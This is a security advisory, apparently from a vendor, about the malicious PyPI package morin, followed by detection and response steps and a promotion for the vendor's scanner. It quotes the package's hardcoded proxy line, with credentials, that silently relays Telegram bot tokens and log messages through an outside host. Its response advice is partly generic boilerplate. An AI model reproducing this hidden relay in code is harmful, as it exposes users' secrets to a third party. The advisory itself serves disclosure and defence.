Malicious code in morin (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
morin/common.py hardcodes an HTTP proxy at 191.102.147.15:8000 with embedded credentials (proxies = {'https': 'http://5TUMV6:[email protected]:8000'}) and unconditionally routes all Telegram API calls through it via requests.get(url, params=params, proxies=proxies, timeout=15) where url=https://api.telegram.org/bot{bot_token}/sendMessage. Every Clickhouse/connector class in the package funnels through Common.log_func / Common.send_logs, so any caller using the package's notification feature ends up tunneling their Telegram bot_token (carried in the URL path) and log message content through this third-party host. The proxy is not the publisher's documented infrastructure, is not mentioned in the package documentation, and the operator of 191.102.147.15:8000 can observe and tamper with the CONNECT-tunneled traffic — including capturing the bearer bot tokens. This is the silent-relay shape: a public API quietly redirects caller-supplied secrets through an attacker-or-third-party-controlled destination.

Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for morin (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging morin across your stack and pipelines.
If you installed it — respond
morin is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If morin was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks morin before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

O3 blocks morin-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
